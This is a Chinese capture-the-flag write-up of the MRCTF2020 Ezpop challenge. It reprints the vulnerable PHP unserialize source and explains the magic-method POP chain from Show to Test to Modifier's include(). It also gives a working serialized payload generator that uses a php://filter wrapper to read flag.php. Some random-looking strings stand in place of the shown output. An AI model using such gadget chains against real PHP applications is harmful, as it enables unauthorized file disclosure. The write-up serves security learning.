首页 > 其他分享 >[MRCTF2020]Ezpop

[MRCTF2020]Ezpop

时间:2024-09-24 10:26:35浏览次数:9  
标签:__ function source Ezpop php public 类中 MRCTF2020

[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

反序列化的魔术函数如下:

__construct()//当一个对象创建时被调用

__destruct() //当一个对象销毁时被调用

__toString() //当一个对象被当作一个字符串使用

__sleep()//在对象在被序列化之前运行

__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)

__get()//获得一个类的成员变量时调用

__set()//设置一个类的成员变量时调用

__invoke()//调用函数的方式调用一个对象时的回应方法

__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数

还要补充一个基础的知识,->是php中的运算符。

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

我们的最终目标是获取flag.php中的flag信息,因此分析源代码信息,查看哪里可以获取到flag.php文件,发现在Modifier类中存在include($value),因此想到可以通过php伪协议来获取flag.php的信息,所以现在我们的目的就成了调用append函数,接着往下观察,发现__invoke函数调用了append函数,因此我们只要执行了__invoke函数一样可以获得flag信息

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

在Test类中有两个魔法函数__construct和__get,但魔法函数__construct这里用不上只需要关注魔法函数__get就好。魔法函数__get中设置了属性p会被当做函数调用,刚好符合前面Modifier类中的要求。故需要再触发魔法函数__get即可,魔法函数__get会在访问类中一个不存在的属性时自动调用,那就需要寻找和调用属性相关的代码。

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

Show类中有三个魔术方法,同样魔术方法__construct这里也用不上,在魔术方法__toString中会返回属性str中的属性source,如果刚刚提到的source属性不存在,那么就符合了Test类中的要求,那这里。魔术方法__toString在类被当做一个字符串处理时会被自动调用,在魔术方法__wakeup则将属性source传入正则匹配函数preg_match(),在这个函数中source属性就被当做字符串处理。最终这个魔术方法__wakeup又在类被反序列化时自动调用。这样从Test类中append()方法到Show类中的魔术方法__wakup就形成了一条调用链,这就是POP的一个使用样例,而题目——Ezpop就说明了这题设计的知识。

综上所述,一次经历了如下过程:

反序列化->调用Show类中魔术方法__wakeup->preg_match()函数对Show类的属性source处理->调用Show类中魔术方法__toString->返回Show类的属性str中的属性source(此时这里属性source并不存在)->调用Test类中魔术方法__get->返回Test类的属性p的函数调用结果->调用Modifier类中魔术方法__invoke->include()函数包含目标文件(flag.php)

最终payload代码如下(删去了源码中一些不必要的部分):

<?php
class Modifier {
    protected  $var='flag.php';
}

class Show{
    public $source;
    public $str;

}

class Test{
    public $p;
}
$a = new Show();
$a->source = new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>

但是直接包含flag.php得不到flag,需要读取flag.php的源码,直接包含只能见到如下内容。

kyyVSqIEv6Mrdu0ctgG9DnXbj-i9gQkfm5AmRTfGqbU

用伪协议来读取flag.php源码即可,这里将Modifier类的属性var的值替换掉。

protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

M0gU7599_kIx8GUaPw7yavhW3iAlF3gwoVs94PytuvQ

GTVFpZXknX-VY7562TuqM2mP5RGiRkGGnQ3kedWh3I0

标签:__,function,source,Ezpop,php,public,类中,MRCTF2020
From: https://www.cnblogs.com/fishjumpriver/p/18428543

相关文章

  • [MRCTF2020]套娃 php字符串解析绕过,jsfuck编码
    进来看到代码<!--//1st$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t']!=='23333'......
  • [MRCTF2020]你传你呢
    [MRCTF2020]你传你......
  • [EIS 2019]EzPOP 代码审计 死亡绕过
    点击查看代码<?phperror_reporting(0);classA{protected$store;protected$key;protected$expire;publicfunction__construct($store,$key='flysystem',$expire=null){$this->key=$key;$this->sto......
  • [MRCTF2020]Ezpop(反序列化)
    打开题目即可得源码Welcometoindex.php<?php//flagisinflag.php//WTFISTHIS?//LearnFromhttps://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//AndCrackIt!classModifier{protected$var......
  • [MRCTF2020]套娃 1
    目录第一层$_SERVER函数的用法第二层第三层第一层查看源码$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t']!......
  • [MRCTF2020]Ezaudit 1
    信息收集,伪随机数打开之后发现什么按键都没用,直接扫目录得到了两个网址:www.ziplogin.html<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);if(isset($_POST['login'])){$username=$_POST['username'];$password=$_POST[&......
  • [MRCTF2020]套娃
    [MRCTF2020]套娃打开环境发现有张图片显示不出来查看网页源代码发现部分代码$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t�......
  • 新手大白话 UUCTF 2022 新生赛ezpop 字符串逃逸
    今天做个字符串逃逸的题目,这个题还挺不错的,不多bb直接看源码。点击查看代码<?php//flaginflag.phperror_reporting(0);classUUCTF{public$name,$key,$basedata,$ob;function__construct($str){$this->name=$str;}function__wakeup(){......
  • [MRCTF2020]PYWebsite
    [MRCTF2020]PYWebsite查看源代码发现验证成功后跳转flag页面<script>functionenc(code){hash=hex_md5(code);returnhash;}functionvalidate(){varcode=document.getElementById("vcode").value;if(code!="......
  • [MRCTF2020]你传你呢
    [MRCTF2020]你传你......